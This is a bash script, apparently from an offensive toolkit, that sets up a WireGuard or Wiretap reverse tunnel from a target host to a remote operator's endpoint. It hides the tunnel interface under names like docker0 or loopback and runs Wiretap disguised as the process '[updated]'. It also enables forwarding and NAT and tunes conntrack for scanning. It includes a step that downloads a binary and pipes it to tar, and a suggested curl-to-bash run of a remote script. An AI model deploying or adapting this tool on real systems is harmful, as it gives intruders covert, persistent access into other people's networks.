#! /usr/bin/env bash

# This script sets a WireGuard or Wiretap reverse tunnel on a target host.
# The X= configuration is supplied by 'curl sf/net/up'. Thereafter:
# X=<VERSION>-<PRIV>-<PUB>-<ENDPOINT>-<ALLOWED_IPS>
# X=$X ./sfwg

# Variables:
#
# SF_DEBUG=1                 Enable debug information and start WT in the foreground
# TYPE="wireguard:wiretap"   Force WireGuard or Wiretap or both

# Test IPv6:
# curl -I 'http://[2606:4700:4700::1111]'
# ping6 2606:4700:4700::1111

init_color()
{
    # shellcheck disable=SC2034 # Unused
    CY="\e[1;33m" # yellow
    CG="\e[1;32m" # green
    CR="\e[1;31m" # red
    CC="\e[1;36m" # cyan
    # CM="\e[1;35m" # magenta
    # CW="\e[1;37m" # white
    CB="\e[1;34m" # blue
    CF="\e[2m"    # faint
    CN="\e[0m"    # none
    # CBG="\e[42;1m" # Background Green
    # night-mode
    CDR="\e[0;31m" # red
    CDG="\e[0;32m" # green
    CDY="\e[0;33m" # yellow
    CDB="\e[0;34m" # blue
    CDM="\e[0;35m" # magenta
    CDC="\e[0;36m" # cyan
    CUL="\e[4m"
}

[[ -t 1 ]] && init_color

[[ -z $WITHOUT_IPV6 ]] && WITH_IPV6=1
[[ -z $WITHOUT_TUNE ]] && WITH_TUNE=1
[[ -z $TYPE ]] && TYPE="wireguard:wiretap"
[[ -z $UID ]] && UID=$(id -u)

ERR(){ echo -e >&2 "[${CR}ERROR${CN}] $*"; }

ERREXIT()
{
	local code
	code="$1"

	shift 1
	ERR "$@"

	exit "$code"
}

WARN()
{
	echo -e >&2 "[${CDY}WARN${CN}] $*"
}

x2data()
{
    local IFS
    local str
    local ip

    IFS="-"
    CONF=($X)

    [[ ${#CONF[@]} -lt  4 ]] && ERREXIT 255 "X= is not a valid configuration string."
    [[ ${#CONF[1]} -ne 44 ]] && ERREXIT 255 "X= does not contain a valid private key."
    [[ ${#CONF[2]} -ne 44 ]] && ERREXIT 255 "X= does not contain a valid public key."
    
    [[ -z $SF_VER ]] && SF_VER=${CONF[0]//[^0-9]}
    PRIV=${CONF[1]}
    PEER=${CONF[2]}
    EP=${CONF[3]}

    [[ -z $SF_VER ]] && ERREXIT 255 "X= contains a bad version number."

    str=${CONF[4]}
    str="${str//[^0-9a-f,x:.\/]}"
    [[ -n $str ]] && {
        # Format: "172.16.0.x/16,fd:16::x/104"
        ip=${str%%,*}
        PEER_ADDRESS="${ip//x/0}"     # 172.16.0.0/16
        ip=${ip%/*}
        ADDRESS="${ip//x/1}/32"       # 172.16.0.0/32
        # IPv6
        ip=${str##*,}
        PEER_ADDRES6="${ip//x/0}"     # fd:16::0/104
        ip=${ip%/*}
        ADDRES6="${ip//x/1}/128"      # fd:16::1/128
    }

    [[ -z $ADDRESS ]] && ADDRESS="172.16.0.1/32"
    [[ -z $ADDRES6 ]] && ADDRES6="fd:16::1/128"
    [[ -z $PEER_ADDRESS ]] && PEER_ADDRESS="172.16.0.0/16"
    [[ -z $PEER_ADDRES6 ]] && PEER_ADDRES6="fd:16::0/104"
}

# Delete any IPT rule and add new one
ipt()
{
    local first
    local table
    table=$1
    first=$2

    shift 2
    iptables -t "$table" -D "$@" 2>/dev/null # Delete old rule.
    iptables -t "$table" "$first" "$@"
}

ipt6()
{
    local first
    local table
    table=$1
    first=$2

    shift 2
    ip6tables -t "$table" -D "$@" 2>/dev/null # Delete old rule.
    ip6tables -t "$table" "$first" "$@"
}


sysinc()
{
	local key
	local val
	key=$1
	val=$2
	[[ $(sysctl -n "$key") -ge $val ]] && return
	sysctl -q -w "${key}=${val}" || WARN "Could not set '${key}=${val}'"
}

sysdec()
{
	local key
	local val
	key=$1
	val=$2
	[[ $(sysctl -n "$key") -le $val ]] && return
	sysctl -q -w "${key}=${val}" || WARN "Could not set '${key}=${val}'"
}

# Tune Network for scanning.
tune()
{
    sysinc net.netfilter.nf_conntrack_max 2097152
    sysdec net.netfilter.nf_conntrack_tcp_timeout_syn_sent 10
    sysdec net.netfilter.nf_conntrack_tcp_timeout_syn_recv 5        # default is 30, 5 because of wg tunnel
    sysdec net.netfilter.nf_conntrack_tcp_timeout_last_ack 5        # default is 30
    sysdec net.netfilter.nf_conntrack_tcp_timeout_fin_wait 10       # default is 120
    sysdec net.netfilter.nf_conntrack_tcp_timeout_close 1           # default is 10
    sysdec net.netfilter.nf_conntrack_tcp_timeout_close_wait 10     # default is 60
    sysdec net.netfilter.nf_conntrack_tcp_timeout_unacknowledged 30 # default is 300
    sysdec net.netfilter.nf_conntrack_tcp_timeout_established 10800 # 3h, default is 5 days
    sysdec net.netfilter.nf_conntrack_icmp_timeout 10 # default is 30
    sysdec net.netfilter.nf_conntrack_udp_timeout 10  # default is 30
    # sysdec net.netfilter.nf_conntrack_udp_timeout_stream=120 # default is 120
}

wg_find_dev()
{
    local notexist
    local str
    local dev

    # If user did not specify a device then find
    # an available wireguard device.
    [[ -z $WG_DEV ]] && {
        # Try to 'hide' as any of these interfaces
        for dev in docker0 loopback docker1 sf0; do
            # Record a device that doesnt exist
            str=$(ip -details link show "${dev}" 2>/dev/null) || { [[ -z $notexist ]] && notexist="${dev}"; }
            [[ ${str} == *wireguard* ]] && { WG_DEV="${dev}"; break; } # Found old wireguard device.
        done
        [[ -z $WG_DEV ]] && WG_DEV="${notexist}"
        [[ -z $WG_DEV ]] && ERREXIT 255 "Could not find a free device name. Try ${CDC}export WG_DEV=Blah0${CN}"
    }

    ### Check if it exists.
    ip link show dev "${WG_DEV}" &>/dev/null && ERREXIT 255 "Device ${CDM}${WG_DEV}${CN} already exists.
Try ${CDC}ip link del ${WG_DEV}${CN} or to use a different device try ${CDC}export WG_DEV=Blah0${CN}"
}

wg_up()
{
    local fn
    local addr
    command -v ip >/dev/null || { ERR "ip not found. Try ${CDC}apt-get install iproute2${CN}"; return 255; }
    command -v wg >/dev/null || { ERR "${CDM}WireGuard${CN} not installed.\nTry ${CDC}apt install wireguard${CN} or ${CDC}export TYPE=wiretap${CN} to force ${CDM}Wiretap${CN} instead."; return 255; }
    command -v sysctl >/dev/null || { ERR "sysctl not found. Try ${CDC}apt-get install procps${CN}"; return 255; }
    command -v iptables >/dev/null || { ERR "iptables not found. Try ${CDC}apt-get install iptables${CN}"; return 255; }
    command -v ip6tables >/dev/null || { WARN "ip6tables not found. Disabling IPv6"; unset WITH_IPV6; }

    wg_find_dev

    [[ $(sysctl -n net.ipv6.conf.all.disable_ipv6 2>/dev/null) -ne 0 ]] && {
        unset WITH_IPV6
        WARN "IPv6 disabled. Try ${CDC}sysctl -w net.ipv6.conf.all.disable_ipv6=0${CN}"
    }
    [[ $(sysctl -n net.ipv4.ip_forward) -eq 0 ]] && sysctl -q -w net.ipv4.ip_forward=1
    [[ $(sysctl -n net.ipv6.conf.all.forwarding) -eq 0 ]] && sysctl -q -w net.ipv6.conf.all.forwarding=1

    ip link del "${WG_DEV}" &>/dev/null
    ip link add "${WG_DEV}" type wireguard || return 255

    fn="/dev/shm/private.$$"
    echo "$PRIV" >"${fn}"
    addr="${PEER_ADDRESS}"
    [[ -n $WITH_IPV6 ]] && addr+=",${PEER_ADDRES6}"
    # addr="0.0.0.0/0"
    wg set "${WG_DEV}" private-key "${fn}" peer "$PEER" allowed-ips "${addr}" endpoint "${EP}" persistent-keepalive 25 || { ip link del "${WG_DEV}"; return 255; }
    rm -f "${fn}"

    ip -4 address add "${ADDRESS}" dev "${WG_DEV}" || { ip link del "${WG_DEV}"; return 255; }
    [[ -n $WITH_IPV6 ]] && { ip -6 address add "${ADDRES6}" dev "${WG_DEV}" || unset WITH_IPV6; }

    ip link set mtu 1420 up dev "${WG_DEV}"

    ip -4 route add "${PEER_ADDRESS}" dev "${WG_DEV}"
    [[ -n $WITH_IPV6 ]] && { ip -6 route add "${PEER_ADDRES6}" dev "${WG_DEV}" || unset WITH_IPV6; }

    [[ $(iptables -L FORWARD) != *"policy ACC"* ]] && {
        ipt filter -I FORWARD -i "${WG_DEV}" -j ACCEPT
        ipt filter -I FORWARD -o "${WG_DEV}" -j ACCEPT
    }

    [[ -n $WITH_IPV6 ]] && [[ $(ip6tables -L FORWARD) != *"policy ACC"* ]] && {
        ipt6 filter -I FORWARD -i "${WG_DEV}" -j ACCEPT
        ipt6 filter -I FORWARD -o "${WG_DEV}" -j ACCEPT
    }

    ipt nat -A POSTROUTING -s "${PEER_ADDRESS}" -j MASQUERADE
    [[ -n $WITH_IPV6 ]] && ipt6 nat -A POSTROUTING -s "${PEER_ADDRES6}" -j MASQUERADE

    [[ -n $WITH_TUNE ]] && tune

    echo -e "\
${CDG}SUCCESS${CN} - ${CDM}WireGuard${CN} started on ${CDY}${WG_DEV}${CN}.
For status: ${CDC}wg show ${WG_DEV}${CN}
To stop   : ${CDC}ip link del ${WG_DEV}${CN}
Check the connection on your server:
    ${CDC}curl sf/net/show${CN}"

    return 0
}

# Download wiretap
wt_dl()
{
    local arch
    local url

    command -v tar >/dev/null || ERREXIT 255 "tar not found. Try ${CDC}apt install tar${CN}"

    arch=$(uname -m)
    url="https://github.com/sandialabs/wiretap/releases/download/v0.2.1/wiretap_0.2.1_${OS}_amd64.tar.gz"
    if [[ $arch == aarch64 ]] || [[ $arch == arm64 ]]; then
        url="https://github.com/sandialabs/wiretap/releases/download/v0.2.1/wiretap_0.2.1_${OS}_arm64.tar.gz"
    elif [[ $arch == i686 ]] || [[ $arch == i386 ]]; then
        url="https://github.com/sandialabs/wiretap/releases/download/v0.2.1/wiretap_0.2.1_${OS}_386.tar.gz"
    elif [[ $arch == *"armv"* ]]; then
        url="https://github.com/sandialabs/wiretap/releases/download/v0.2.1/wiretap_0.2.1_${OS}_armv6.tar.gz"
    fi

    [[ -f wiretap ]] && rm -f wiretap
    touch wiretap 2>/dev/null || {
        cd /dev/shm || ERREXIT 255 "Change to a writeable directory"
        touch wiretap || ERREXIT 255 "Change to a writeable directory."
    }
    rm -f wiretap
    echo -e "Downloading ${CDM}Wiretap${CN}..."
    IS_DOWNLOADED=1
    command -v curl >/dev/null && {
        DL_CMD="curl -fsSL '$url' | tar xfvz - wiretap"
        curl -fsSL "$url" | tar xfz - wiretap && return
    }

    command -v wget >/dev/null && {
        DL_CMD="wget -qO- '$url' | tar xfvz - wiretap"
        wget -qO- "$url" | tar xfz - wiretap && return
    }
    unset IS_DOWNLOADED
    [[ -f wiretap ]] && rm -f wiretap &>/dev/null # stale file

    ERREXIT 255 "Failed to download ${CDM}Wiretap${CN}. Download it from
${CDB}${CUL}https://github.com/sandialabs/wiretap/releases${CN}
and start is manually:
    ${CDC}wiretap serve --private \"${PRIV}\" --public \"${PEER}\" --endpoint \"${EP}\"${CN}"
}

addenv()
{
    local varname
    local value
    varname=$1
    value=$2

    eval export "${varname}"="\$value"
    ENVSTR+="${varname}='${value}' \\ "$'\n'
}

wt_up()
{
    local is_has_pidof
    local err
    local addr
    local pid
    local pidstr
    local cmd_checkrunning
    local arg
    local n
    local killname

    [[ -z $OSTYPE ]] && {
        command -v uname >/dev/null || ERREXTI 255 "uname not found. Try ${CDC}apt install coreutils${CN}"
        OSTYPE=$(uname -s)
    }
    OSTYPE="${OSTYPE,,}"
    OS="linux"
    [[ $OSTYPE == *darwin* ]] && OS="darwin"

    killname="wiretap"
    cmd_checkrunning=()
    CMD_PKILL="killall"
    command -v pkill >/dev/null && CMD_PKILL="pkill"

    if command -v pidof >/dev/null; then
        is_has_pidof=1
        cmd_checkrunning=("pidof" "[updated]")
        pid=$(pidof '[updated]') && ERREXIT 255 "${CDM}Wiretap${CN} is already running with PID ${CDY}${pid}${CN}. To stop: ${CDC}${CMD_PKILL} '${killname}'${CN}"
    elif command -v pkill >/dev/null; then
        [[ $OS == "darwin" ]] && killname="\[updated\]"
        cmd_checkrunning=("pkill" "-0" "${killname}")
        "${cmd_checkrunning[@]}" && ERREXIT 255 "${CDM}Wiretap${CN} is already running. To stop: ${CDC}pkill '${killname}'${CN}"
    elif command -v killall >/dev/null; then
        cmd_checkrunning=("killall" "-0" "wiretap")
        "${cmd_checkrunning[@]}" && ERREXIT 255 "${CDM}Wiretap${CN} is already running. To stop: ${CDC}killall '${killname}'${CN}"
    fi
        
    [[ -d wiretap ]] && { ERR "Directory ${CDY}./wiretap${CN} is in the way"; return 255; }
    if [[ -f wiretap ]]; then
        WARN "Using existing ${CDM}./wiretap${CN}"
    else
        wt_dl
    fi
    peer_addr="${PEER_ADDRESS}"
    [[ -n $WITH_IPV6 ]] && peer_addr+=",${PEER_ADDRES6}"

    # CWD may have changed by wt_dl
    unset ENVSTR
    ## 0.2.0 < wiretap <=0.2.1
    addenv WIRETAP_INTERFACE_PRIVATEKEY "$PRIV"
    addenv WIRETAP_PEER_PUBLICKEY "${PEER}"
    addenv WIRETAP_PEER_ENDPOINT "${EP}"

    ## wiretap >=0.3.1
    addenv WIRETAP_RELAY_INTERFACE_PRIVATEKEY "${PRIV}"
    addenv WIRETAP_RELAY_PEER_PUBLICKEY "${PEER}"
    addenv WIRETAP_RELAY_PEER_ENDPOINT "${EP}"
    addenv WIRETAP_SIMPLE "true"

    if [[ -z $SF_DEBUG ]]; then
        PATH=".:$PATH" exec -a '[updated]' wiretap serve -q --allowed "${peer_addr}" &>/dev/null &
    else
        PATH=".:$PATH" ./wiretap serve --allowed "${peer_addr}"
    fi
    [[ ${#cmd_checkrunning[@]} -gt 0 ]] && {
        n=0
        err=1
        while [[ $n -lt 5 ]]; do
            "${cmd_checkrunning[@]}" >/dev/null && { unset err; break; }
            ((n++))
            sleep 0.5
        done
        if [[ -z $err ]]; then
            [[ -n $is_has_pidof ]] && pidstr=" with pid=${CDY}$(pidof '[updated]')${CN}"
        else
            WARN "Failed to start wiretap."
            echo -e "To run in the foreground:"
            [[ -n $IS_DOWNLOADED ]] && echo -e "${CDC}${DL_CMD:-<download wiretap>}${CN}"
            echo -e "${CDC}${ENVSTR}./wiretap serve --allowed '${peer_addr}'${CN}"
        fi
    }
    
    [[ -n $IS_DOWNLOADED ]] && rm -f wiretap
    [[ -n $err ]] && return

    # problem with gVisor DNAT & wt <=0.3.0 TCP mixup
    WARN "${CDM}Wiretap${CN} is ${CDR}not good${CN} for scanning.
---> Masscan   : ${CDC}-e wgExit --adapter-ip 172.16.0.3-172.16.128.2 --adapter-port 1024-33791${CN}"
    [[ -z $IS_WG_TRIED ]] && {
            echo -e "\
Alternatively use ${CDM}WireGuard:${CDC}
    ${CMD_PKILL} '${killname}'
    export TYPE=wireguard
    X=\"\$X\" bash -c \"\$(curl -fsSL https://thc.org/sfwg)\"${CN}"
    }

    echo -e "\
${CDG}SUCCESS${CN} - ${CDM}Wiretap${CN} started as ${CDY}[updated]${CN}${pidstr} in the background.
---> To stop   : ${CDC}${CMD_PKILL} '${killname}'${CN}"
}

[[ -z $X ]] && ERREXIT 255 "The variable ${CDY}X=${CN} is not set. Try
    ${CDC}X=<YourConfigurationString> bash -c \"\$(curl -fsSL https://thc.org/sfwg)\"${CN}"

x2data

[[ ${TYPE} == *wireguard* ]] && IS_WG=1
[[ ${TYPE} == *wiretap*   ]] && IS_WT=1
[[ -n $IS_WG ]] && [[ $UID -eq 0 ]] && {
    echo -e "${CF}---[[ Attempting WireGuard ]]---------------------------------------------${CN}"
    IS_WG_TRIED=1
    wg_up && exit
    [[ -z $IS_WT ]] && exit # Giving up
}
[[ $IS_WT ]] && {
    echo -e "${CF}---[[ Attempting Wiretap ]]-----------------------------------------------${CN}"
    wt_up && exit
    [[ -n $IS_WG_TRIED ]] && exit
}

[[ $IS_WG ]] && [[ $UID -ne 0 ]] && ERREXIT 255 "WireGuard requires root. Try ${CDC}export TYPE=wiretap${CN} instead."
ERREXIT 255 "Set ${CDM}export TYPE=wiretap${CN} or ${CDM}export TYPE=wireguard${CN}"
